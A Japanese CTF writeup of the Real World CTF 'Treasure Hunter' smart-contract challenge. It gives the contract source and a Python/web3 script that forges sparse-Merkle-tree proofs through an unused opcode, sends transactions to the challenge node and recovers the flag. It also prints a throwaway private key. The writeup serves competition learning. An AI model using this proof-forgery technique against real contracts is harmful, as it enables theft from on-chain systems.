1/21-23 に開催していた Real World CTF にチーム WreckTheLine で参加しました。結果は 5th/947 (得点のあるチームのみカウント) でした。
基本的に Pwn や Web が主体の CTF で、自分には取っ掛かりすらわからない問題だらけでした。そんな中で “Crypto” タグのついている問題が1つだけあったのでその問題を見てみると Cryptography 問ではなく Cryptocurrency 問でした…ですが最近 Capture the Ether をやり始めたのもあり、なんとか解けました。初 Cryptocurrency 問が解けたのは素直に嬉しいです。スマートな解き方はできなかった気がしますが、せっかくなので writeup を書きます。
Crypto (currency)
Treasure Hunter
21 solves
TreasureHunter.sol
pragma solidity >=0.8.0 <0.9.0;
import {SMT} from "./SparseMerkleTree.sol";
contract TreasureHunter {
bytes32 public root;
SMT.Mode public smtMode = SMT.Mode.WhiteList;
bool public solved = false;
mapping(address => bool) public haveKey;
mapping(address => bool) public haveTreasureChest;
event FindKey(address indexed _from);
event PickupTreasureChest(address indexed _from);
event OpenTreasureChest(address indexed _from);
constructor() public {
root = SMT.init();
_init();
}
function _init() internal {
address[] memory hunters = new address[](8);
hunters[0] = 0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e;
hunters[1] = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;
hunters[2] = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
hunters[3] = 0x6B3595068778DD592e39A122f4f5a5cF09C90fE2;
hunters[4] = 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B;
hunters[5] = 0xc00e94Cb662C3520282E6f5717214004A7f26888;
hunters[6] = 0xD533a949740bb3306d119CC777fa900bA034cd52;
hunters[7] = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
SMT.Leaf[] memory nextLeaves = new SMT.Leaf[](8);
SMT.Leaf[] memory prevLeaves = new SMT.Leaf[](8);
for (uint8 i = 0; i < hunters.length; i++) {
nextLeaves[i] = SMT.Leaf({key: hunters[i], value: 1});
prevLeaves[i] = SMT.Leaf({key: hunters[i], value: 0});
}
bytes32[] memory proof = new bytes32[](22);
proof[0] = 0x000000000000000000000000000000000000000000000000000000000000004c;
proof[1] = 0x000000000000000000000000000000000000000000000000000000000000004c;
proof[2] = 0x000000000000000000000000000000000000000000000000000000000000004c;
proof[3] = 0x000000000000000000000000000000000000000000000000000000000000004c;
proof[4] = 0x0000000000000000000000000000000000000000000000000000000000000048;
proof[5] = 0x0000000000000000000000000000000000000000000000000000000000000095;
proof[6] = 0x0000000000000000000000000000000000000000000000000000000000000048;
proof[7] = 0x0000000000000000000000000000000000000000000000000000000000000099;
proof[8] = 0x0000000000000000000000000000000000000000000000000000000000000048;
proof[9] = 0x000000000000000000000000000000000000000000000000000000000000009e;
proof[10] = 0x000000000000000000000000000000000000000000000000000000000000004c;
proof[11] = 0x000000000000000000000000000000000000000000000000000000000000004c;
proof[12] = 0x000000000000000000000000000000000000000000000000000000000000004c;
proof[13] = 0x000000000000000000000000000000000000000000000000000000000000004c;
proof[14] = 0x0000000000000000000000000000000000000000000000000000000000000048;
proof[15] = 0x000000000000000000000000000000000000000000000000000000000000009b;
proof[16] = 0x0000000000000000000000000000000000000000000000000000000000000048;
proof[17] = 0x000000000000000000000000000000000000000000000000000000000000009c;
proof[18] = 0x0000000000000000000000000000000000000000000000000000000000000048;
proof[19] = 0x000000000000000000000000000000000000000000000000000000000000009e;
proof[20] = 0x0000000000000000000000000000000000000000000000000000000000000048;
proof[21] = 0x000000000000000000000000000000000000000000000000000000000000009f;
root = SMT.update(proof, nextLeaves, prevLeaves, root);
}
function enter(bytes32[] memory _proofs) public {
require(haveKey[msg.sender] == false);
root = SMT.updateSingleTarget(_proofs, msg.sender, root, SMT.Method.Insert);
}
function leave(bytes32[] memory _proofs) public {
require(haveTreasureChest[msg.sender] == false);
root = SMT.updateSingleTarget(_proofs, msg.sender, root, SMT.Method.Delete);
}
function findKey(bytes32[] memory _proofs) public {
require(smtMode == SMT.Mode.BlackList, "not blacklist mode");
address[] memory targets = new address[](1);
targets[0] = msg.sender;
require(SMT.verifyByMode(_proofs, targets, root, smtMode), "hunter has fallen into a trap");
haveKey[msg.sender] = true;
smtMode = SMT.Mode.WhiteList;
emit FindKey(msg.sender);
}
function pickupTreasureChest(bytes32[] memory _proofs) public {
require(smtMode == SMT.Mode.WhiteList, "not whitelist mode");
address[] memory targets = new address[](1);
targets[0] = msg.sender;
require(
SMT.verifyByMode(_proofs, targets, root, smtMode),
"hunter hasn't found the treasure chest"
);
haveTreasureChest[msg.sender] = true;
smtMode = SMT.Mode.BlackList;
emit PickupTreasureChest(msg.sender);
}
function openTreasureChest() public {
require(haveKey[msg.sender] && haveTreasureChest[msg.sender]);
solved = true;
emit OpenTreasureChest(msg.sender);
}
function isSolved() public view returns (bool) {
return solved;
}
}SparseMerkleTree.sol
pragma solidity >=0.8.0 <0.9.0;
uint256 constant SMT_STACK_SIZE = 32;
uint256 constant DEPTH = 160;
library SMT {
struct Leaf {
address key;
uint8 value;
}
enum Mode {
BlackList,
WhiteList
}
enum Method {
Insert,
Delete
}
function init() internal pure returns (bytes32) {
return 0;
}
function calcLeaf(Leaf memory a) internal pure returns (bytes32) {
if (a.value == 0) {
return 0;
} else {
return keccak256(abi.encode(a.key, a.value));
}
}
function merge(bytes32 l, bytes32 r) internal pure returns (bytes32) {
if (l == 0) {
return r;
} else if (r == 0) {
return l;
} else {
return keccak256(abi.encode(l, r));
}
}
function verifyByMode(
bytes32[] memory _proofs,
address[] memory _targets,
bytes32 _expectedRoot,
Mode _mode
) internal pure returns (bool) {
Leaf[] memory leaves = new Leaf[](_targets.length);
for (uint256 i = 0; i < _targets.length; i++) {
leaves[i] = Leaf({key: _targets[i], value: uint8(_mode)});
}
return verify(_proofs, leaves, _expectedRoot);
}
function verify(
bytes32[] memory _proofs,
Leaf[] memory _leaves,
bytes32 _expectedRoot
) internal pure returns (bool) {
return (calcRoot(_proofs, _leaves, _expectedRoot) == _expectedRoot);
}
function updateSingleTarget(
bytes32[] memory _proofs,
address _target,
bytes32 _prevRoot,
Method _method
) internal pure returns (bytes32) {
Leaf[] memory nextLeaves = new Leaf[](1);
Leaf[] memory prevLeaves = new Leaf[](1);
nextLeaves[0] = Leaf({key: _target, value: uint8(_method) ^ 1});
prevLeaves[0] = Leaf({key: _target, value: uint8(_method)});
return update(_proofs, nextLeaves, prevLeaves, _prevRoot);
}
function update(
bytes32[] memory _proofs,
Leaf[] memory _nextLeaves,
Leaf[] memory _prevLeaves,
bytes32 _prevRoot
) internal pure returns (bytes32) {
require(verify(_proofs, _prevLeaves, _prevRoot), "update proof not valid");
return calcRoot(_proofs, _nextLeaves, _prevRoot);
}
function checkGroupSorted(Leaf[] memory _leaves) internal pure returns (bool) {
require(_leaves.length >= 1);
uint160 temp = 0;
for (uint256 i = 0; i < _leaves.length; i++) {
if (temp >= uint160(_leaves[i].key)) {
return false;
}
temp = uint160(_leaves[i].key);
}
return true;
}
function getBit(uint160 key, uint256 height) internal pure returns (uint256) {
require(height <= DEPTH);
return (key >> height) & 1;
}
function parentPath(uint160 key, uint256 height) internal pure returns (uint160) {
require(height <= DEPTH);
return copyBit(key, height + 1);
}
function copyBit(uint160 key, uint256 height) internal pure returns (uint160) {
require(height <= DEPTH);
return ((key >> height) << height);
}
function calcRoot(
bytes32[] memory _proofs,
Leaf[] memory _leaves,
bytes32 _root
) internal pure returns (bytes32) {
require(checkGroupSorted(_leaves));
uint160[] memory stackKeys = new uint160[](SMT_STACK_SIZE);
bytes32[] memory stackValues = new bytes32[](SMT_STACK_SIZE);
uint256 proofIndex = 0;
uint256 leaveIndex = 0;
uint256 stackTop = 0;
while (proofIndex < _proofs.length) {
if (uint256(_proofs[proofIndex]) == 0x4c) {
proofIndex++;
require(stackTop < SMT_STACK_SIZE);
require(leaveIndex < _leaves.length);
stackKeys[stackTop] = uint160(_leaves[leaveIndex].key);
stackValues[stackTop] = calcLeaf(_leaves[leaveIndex]);
stackTop++;
leaveIndex++;
} else if (uint256(_proofs[proofIndex]) == 0x50) {
proofIndex++;
require(stackTop != 0);
require(proofIndex + 2 <= _proofs.length);
uint256 height = uint256(_proofs[proofIndex++]);
bytes32 currentProof = _proofs[proofIndex++];
require(currentProof != _root);
if (getBit(stackKeys[stackTop - 1], height) == 1) {
stackValues[stackTop - 1] = merge(currentProof, stackValues[stackTop - 1]);
} else {
stackValues[stackTop - 1] = merge(stackValues[stackTop - 1], currentProof);
}
stackKeys[stackTop - 1] = parentPath(stackKeys[stackTop - 1], height);
} else if (uint256(_proofs[proofIndex]) == 0x48) {
proofIndex++;
require(stackTop >= 2);
require(proofIndex < _proofs.length);
uint256 height = uint256(_proofs[proofIndex++]);
uint256 aSet = getBit(stackKeys[stackTop - 2], height);
uint256 bSet = getBit(stackKeys[stackTop - 1], height);
stackKeys[stackTop - 2] = parentPath(stackKeys[stackTop - 2], height);
stackKeys[stackTop - 1] = parentPath(stackKeys[stackTop - 1], height);
require(stackKeys[stackTop - 2] == stackKeys[stackTop - 1] && aSet != bSet);
if (aSet == 1) {
stackValues[stackTop - 2] = merge(
stackValues[stackTop - 1],
stackValues[stackTop - 2]
);
} else {
stackValues[stackTop - 2] = merge(
stackValues[stackTop - 2],
stackValues[stackTop - 1]
);
}
stackTop -= 1;
} else {
revert();
}
}
require(leaveIndex == _leaves.length);
require(stackTop == 1);
return stackValues[0];
}
}TreasureHunter の findKey や pickupTreasureChest を適切な引数を与えて呼び、 haveKey[msg.sender] && haveTreasureChest[msg.sender] を満たすようにすればフラグが手に入ります。
ひとまずアカウントの発行、 faucet から ETH 取得、 contract の deploy を行います。
処理の流れを理解するため、 SMT library の calcRoot の動作を重点的に追いました。 stack machine になっており、値 (leaves) を stack に追加したり、 stack 上の値を concat して hash を取ったりするような計算をしています。
いろいろ実験するため、 python で再実装しました。
from binascii import unhexlify
from dataclasses import dataclass
from typing import List, Sequence, Union
from Crypto.Util.number import bytes_to_long
from eth_abi.abi import encode_abi
from web3 import Web3
def my_hash(a: bytes, b: Union[int, bytes]) -> bytes:
if isinstance(b, int):
return unhexlify(Web3.keccak(encode_abi(['address', 'uint8'], ["0x" + a.hex(), b])).hex()[2:])
elif isinstance(b, bytes):
return unhexlify(Web3.keccak(encode_abi(['bytes32', 'bytes32'], [a, b])).hex()[2:])
else:
raise ValueError
@dataclass
class Leaf:
key: bytes
value: int
SMT_STACK_SIZE = 32
DEPTH = 160
def calc_leaf(leaf: Leaf) -> bytes:
if leaf.value == 0:
return b"\x00" * 32
else:
return my_hash(leaf.key, leaf.value)
def get_bit(key: int, height: int) -> int:
assert height <= DEPTH
return (key >> height) & 1
def merge(l: bytes, r: bytes) -> bytes:
if bytes_to_long(l) == 0:
return r
elif bytes_to_long(r) == 0:
return l
else:
return my_hash(l, r)
def copy_bit(key: int, height: int) -> int:
assert height <= DEPTH
return (key >> height) << height
def parent_path(key: int, height: int) -> int:
assert height <= DEPTH
return copy_bit(key, height + 1)
def calc_root(proofs: Sequence[bytes], leaves: Sequence[Leaf], root: bytes) -> bytes:
stack_keys: List[int] = [0] * SMT_STACK_SIZE
stack_values: List[bytes] = [b"\x00" * 32] * SMT_STACK_SIZE
proof_index = 0
leave_index = 0
stack_top = 0
while proof_index < len(proofs):
if bytes_to_long(proofs[proof_index]) == 0x4c:
proof_index += 1
assert stack_top < SMT_STACK_SIZE
assert leave_index < len(leaves)
stack_keys[stack_top] = bytes_to_long(leaves[leave_index].key)
stack_values[stack_top] = calc_leaf(leaves[leave_index])
stack_top += 1
leave_index += 1
# input: [0x50, height, current_proof]
# use stack_keys[-2], stack_keys[-1]
# output to the top of stack_values
elif bytes_to_long(proofs[proof_index]) == 0x50:
proof_index += 1
assert stack_top != 0
assert proof_index + 2 <= len(proofs)
height = bytes_to_long(proofs[proof_index])
proof_index += 1
current_proof = proofs[proof_index]
proof_index += 1
assert current_proof != root
if get_bit(stack_keys[stack_top - 1], height) == 1:
stack_values[stack_top - 1] = merge(current_proof, stack_values[stack_top - 1])
else:
stack_values[stack_top - 1] = merge(stack_values[stack_top - 1], current_proof)
stack_keys[stack_top - 1] = parent_path(stack_keys[stack_top - 1], height)
# input: [0x48, height]
# use stack_keys[-2], stack_keys[-1]
# output to the top of stack_values
elif bytes_to_long(proofs[proof_index]) == 0x48:
proof_index += 1
assert stack_top >= 2
assert proof_index < len(proofs)
height = bytes_to_long(proofs[proof_index])
proof_index += 1
a_set = get_bit(stack_keys[stack_top - 2], height)
b_set = get_bit(stack_keys[stack_top - 1], height)
stack_keys[stack_top - 2] = parent_path(stack_keys[stack_top - 2], height)
stack_keys[stack_top - 1] = parent_path(stack_keys[stack_top - 1], height)
assert stack_keys[stack_top - 2] == stack_keys[stack_top - 1] and a_set != b_set
if a_set == 1:
stack_values[stack_top - 2] = merge(stack_values[stack_top - 1], stack_values[stack_top - 2])
else:
stack_values[stack_top - 2] = merge(stack_values[stack_top - 2], stack_values[stack_top - 1])
stack_top -= 1
else:
raise ValueError
print(stack_keys[:stack_top])
print(stack_values[:stack_top])
assert leave_index == len(leaves)
assert stack_top == 1
return stack_values[0]
def verify(proofs: Sequence[bytes], leaves: Sequence[Leaf], expected_root: bytes) -> bool:
return calc_root(proofs, leaves, expected_root) == expected_root
def update(proofs: Sequence[bytes], next_leaves: Sequence[Leaf], prev_leaves: Sequence[Leaf], prev_root: bytes) -> bytes:
assert verify(proofs, prev_leaves, prev_root)
return calc_root(proofs, next_leaves, prev_root)
def update_single_target(proofs: Sequence[bytes], target: bytes, prev_root: bytes, method: int) -> bytes:
next_leaves = [Leaf(key=target, value=method ^ 1)]
prev_leaves = [Leaf(key=target, value=method)]
return update(proofs, next_leaves, prev_leaves, prev_root)これで再現できているかは以下のコードで確認しました。実際の contract の root と再計算した root とが一致しているかを確認しています。
contract_abi は Remix で TreasureHunter.sol をコンパイルし、 Compilation Details から ABI を取得したものです。
from const import contract_abi
w3 = Web3(Web3.HTTPProvider("http://47.243.235.111:8545/"))
addr_contract = "0xAd0306d232E7aE7Ec4f73fd1ecc1e285f6f72945"
contract = w3.eth.contract(address=addr_contract, abi=contract_abi)
hunters = [
long_to_bytes(0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e),
long_to_bytes(0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45),
long_to_bytes(0x6B175474E89094C44Da98b954EedeAC495271d0F),
long_to_bytes(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2),
long_to_bytes(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B),
long_to_bytes(0xc00e94Cb662C3520282E6f5717214004A7f26888),
long_to_bytes(0xD533a949740bb3306d119CC777fa900bA034cd52),
long_to_bytes(0xdAC17F958D2ee523a2206206994597C13D831ec7),
]
leaves = [Leaf(key=hunter, value=1) for hunter in hunters]
proofs = [
long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000048, 32),
long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000095, 32),
long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000048, 32),
long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000099, 32),
long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000048, 32),
long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000009e, 32),
long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000048, 32),
long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000009b, 32),
long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000048, 32),
long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000009c, 32),
long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000048, 32),
long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000009e, 32),
long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000048, 32),
long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000009f, 32),
]
root = calc_root(proofs, leaves, b"\x00" * 32)
assert root == contract.functions.root().call()まず pickupTreasureChest を通すような引数 proofs を考えます。
init でセットされた root を、 Leaf(key=msg.sender, value=1) から生成するのは難しそうなため、 pickupTreasureChest の前に enter で root を更新します。
enter では [Leaf(key=msg.sender, value=0)] が leaves のときに calcRoot の結果が root となるような proofs を指定できます。 python 実装の calc_root で init 時の stack の変化を観察すると、 root の hash が計算されるときの2つの hash がわかります。すなわち root = hash(stack[-1], stack[-2]) となる stack です。
これを求めるため、以下の get_stack_values_history を書きました。ほぼ calc_root のコピペですが。
def get_stack_values_history(proofs: Sequence[bytes], leaves: Sequence[Leaf], root: bytes) -> Sequence[Sequence[bytes]]:
stack_keys: List[int] = [0] * SMT_STACK_SIZE
stack_values: List[bytes] = [b"\x00" * 32] * SMT_STACK_SIZE
history_stack = []
proof_index = 0
leave_index = 0
stack_top = 0
while proof_index < len(proofs):
if bytes_to_long(proofs[proof_index]) == 0x4c:
proof_index += 1
assert stack_top < SMT_STACK_SIZE
assert leave_index < len(leaves)
stack_keys[stack_top] = bytes_to_long(leaves[leave_index].key)
stack_values[stack_top] = calc_leaf(leaves[leave_index])
stack_top += 1
leave_index += 1
# input: [0x50, height, current_proof]
# use stack_keys[-2], stack_keys[-1]
# output to the top of stack_values
elif bytes_to_long(proofs[proof_index]) == 0x50:
proof_index += 1
assert stack_top != 0
assert proof_index + 2 <= len(proofs)
height = bytes_to_long(proofs[proof_index])
proof_index += 1
current_proof = proofs[proof_index]
proof_index += 1
assert current_proof != root
if get_bit(stack_keys[stack_top - 1], height) == 1:
stack_values[stack_top - 1] = merge(current_proof, stack_values[stack_top - 1])
else:
stack_values[stack_top - 1] = merge(stack_values[stack_top - 1], current_proof)
stack_keys[stack_top - 1] = parent_path(stack_keys[stack_top - 1], height)
# input: [0x48, height]
# use stack_keys[-2], stack_keys[-1]
# output to the top of stack_values
elif bytes_to_long(proofs[proof_index]) == 0x48:
proof_index += 1
assert stack_top >= 2
assert proof_index < len(proofs)
height = bytes_to_long(proofs[proof_index])
proof_index += 1
a_set = get_bit(stack_keys[stack_top - 2], height)
b_set = get_bit(stack_keys[stack_top - 1], height)
stack_keys[stack_top - 2] = parent_path(stack_keys[stack_top - 2], height)
stack_keys[stack_top - 1] = parent_path(stack_keys[stack_top - 1], height)
assert stack_keys[stack_top - 2] == stack_keys[stack_top - 1] and a_set != b_set
if a_set == 1:
stack_values[stack_top - 2] = merge(stack_values[stack_top - 1], stack_values[stack_top - 2])
else:
stack_values[stack_top - 2] = merge(stack_values[stack_top - 2], stack_values[stack_top - 1])
stack_top -= 1
else:
raise ValueError
history_stack.append(stack_values[:stack_top].copy())
assert leave_index == len(leaves)
assert stack_top == 1
return history_stackこれで求まった stack の値を使う proofs を作っていきます。
init のときに使われなかった op の 0x50 に注目すると、 proofs 内の値を stack に積むことができるため、これを利用します。
以下の proofs を作ることで enter が通って root を更新できること、さらに pickupTreasureChest が通ることが確認できました。
history = get_stack_values_history(proofs, leaves, b"\x00" * 32)
# To send transaction, we need another account because we don't know the private key of given account.
# tmp_acc = w3.eth.account.create()
# player = tmp_acc.address # 0x7BDf56e66e7E5C490E7166BFABDBc1EDf9B66345
# private_key = tmp_acc.privateKey.hex() # 0xa9f5f4d1184800568ed0ba05b51b088f898cd98e4170245f4aa90421e486abbd
player = "0x7BDf56e66e7E5C490E7166BFABDBc1EDf9B66345"
private_key = "0xa9f5f4d1184800568ed0ba05b51b088f898cd98e4170245f4aa90421e486abbd"
sender = long_to_bytes(int(player, 16))
proofs = [
long_to_bytes(0x4c, 32),
long_to_bytes(0x50, 32),
long_to_bytes(0, 32),
history[-2][0],
long_to_bytes(0x50, 32),
long_to_bytes(0x9f, 32),
history[-2][1],
]
# Call enter
root_updated = update_single_target(proofs, sender, root, 0)
# This means calling pickupTreasureChest results in success and haveTreasureChest[msg.sender] = true
assert verify(proofs, [Leaf(key=sender, value=1)], root_updated)これを実際の contract の function に与えて呼び出します。 assert 文で root が更新されたこと、 haveTreasureChest が true になったこと、 smtMode が切り替わっていることが確認しています。
def get_nonce(addr):
return w3.eth.get_transaction_count(addr)
def get_transaction_body(addr):
return {
"nonce": get_nonce(addr),
"gas": 1239137,
"gasPrice": 21000000000,
"value": 0,
"from": addr,
}
def send_transaction(addr, func_name: str, *func_args):
transaction_body = get_transaction_body(addr)
function_call = contract.functions[func_name](*func_args).buildTransaction(transaction_body)
signed_transaction = w3.eth.account.sign_transaction(function_call, private_key)
result = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
tx_hash = w3.eth.wait_for_transaction_receipt(result)
return tx_hash
send_transaction(player, "enter", ["0x" + proof.hex() for proof in proofs])
assert contract.functions.root().call() == root_updated
send_transaction(player, "pickupTreasureChest", ["0x" + proof.hex() for proof in proofs])
assert contract.functions.root().call() == root_updated
assert contract.functions.smtMode().call() == 0
assert contract.functions.haveTreasureChest(player).call()続いて findKey を通すことを考えます。こちらも前の calcRoot での stack の値を使うことで、適切な proofs を作れそうです。
history = get_stack_values_history(proofs, [Leaf(key=sender, value=1)], root_updated)
proofs = [
long_to_bytes(0x4c, 32),
long_to_bytes(0x50, 32),
long_to_bytes(0, 32),
history[-2][0],
long_to_bytes(0x50, 32),
long_to_bytes(0x9f, 32),
proofs[-1],
]
assert verify(proofs, [Leaf(key=sender, value=0)], root_updated)この proofs を使って findKey を呼び出します。
send_transaction(player, "findKey", ["0x" + proof.hex() for proof in proofs])
assert contract.functions.smtMode().call() == 1
assert contract.functions.root().call() == root_updated
assert contract.functions.haveKey(player).call()最後に openTreasureChest を呼ぶことで solved が true となり、フラグ入手の条件を満たせます。
send_transaction(player, "openTreasureChest")
assert contract.functions.isSolved().call()rwctf{th3r3_1$_nothing_1n_7h3_7r3a5ure_chest_f7h9fupa9xabbq7a}
このようにまとめると順調な感じで解いたように見えますが、めちゃくちゃ詰まりました… (丸一日 + 数時間) Cryptocurrency 問に不慣れだったため仕方なし。今後のために詰まったポイントをメモしておきます。
- 与えられたアカウントの private key がわからない
アカウントを生成するとき、 address と token が与えられるのですが、 private key は与えられません。そのため、与えられたアカウントでは transaction を行うことができません。 以上の writeup では transaction 用のアカウントを自前で作ることでこれを解決しています。 競技中の自分は、この問題の本質は token から private key を求める部分で、これがまさしく Crypto 問なのでは、などと大きく勘違いをし、迷走していました…ずっと pasato の仕様を読み込んでいました。
- 自前の contract を deploy できない
Capture the Ether で relay contract を学んでいたので、 Solver 用の contract を自前実装し、それを使ってこの問題を解こうと考えていました。実装はこちら。
pragma solidity >=0.8.0 <0.9.0;
import {TreasureHunter} from "./TreasureHunter.sol";
contract TreasureHunterSolver {
constructor() public {
}
function enter(address _addr, bytes32[] memory _proofs) public {
TreasureHunter th = TreasureHunter(_addr);
th.enter(_proofs);
}
function leave(address _addr, bytes32[] memory _proofs) public {
TreasureHunter th = TreasureHunter(_addr);
th.leave(_proofs);
}
function findKey(address _addr, bytes32[] memory _proofs) public {
TreasureHunter th = TreasureHunter(_addr);
th.findKey(_proofs);
}
function pickupTreasureChest(address _addr, bytes32[] memory _proofs) public {
TreasureHunter th = TreasureHunter(_addr);
th.pickupTreasureChest(_proofs);
}
function openTreasureChest(address _addr) public {
TreasureHunter th = TreasureHunter(_addr);
th.openTreasureChest();
}
function isSolved(address _addr) public view returns (bool) {
TreasureHunter th = TreasureHunter(_addr);
return th.isSolved();
}
}この contract から、問題用 contract を呼び出して問題を解こうとしました。しかし、何故か deploy ができません… deploy に使用したコードは以下になります。
solver_player = "0x7BDf56e66e7E5C490E7166BFABDBc1EDf9B66345"
solver_private_key = "0xa9f5f4d1184800568ed0ba05b51b088f898cd98e4170245f4aa90421e486abbd"
solver_transaction_body = {
"nonce": get_nonce(player),
"gas": 1239137,
"gasPrice": 21000000000,
"value": 0,
"from": solver_player,
"chainId": w3.eth.chain_id,
}
solver_contract = w3.eth.contract(abi=solver_contract_abi, bytecode=json.loads(solver_bytecode)["object"])
solver_function_call = solver_contract.constructor().buildTransaction(solver_transaction_body)
solver_signed_transaction = w3.eth.account.sign_transaction(solver_function_call, solver_private_key)
result = w3.eth.send_raw_transaction(solver_signed_transaction.rawTransaction)
# これが一生終わらない
tx_hash = w3.eth.wait_for_transaction_receipt(result)deploy した transaction が全然 block に繋がらないようです。 これは原因はまだわかっていません。 geth の設定の問題なんですかね。 冷静に考えると relay にする必要が一切なかったため、以上の問題ではこの Solver contract は使用していません。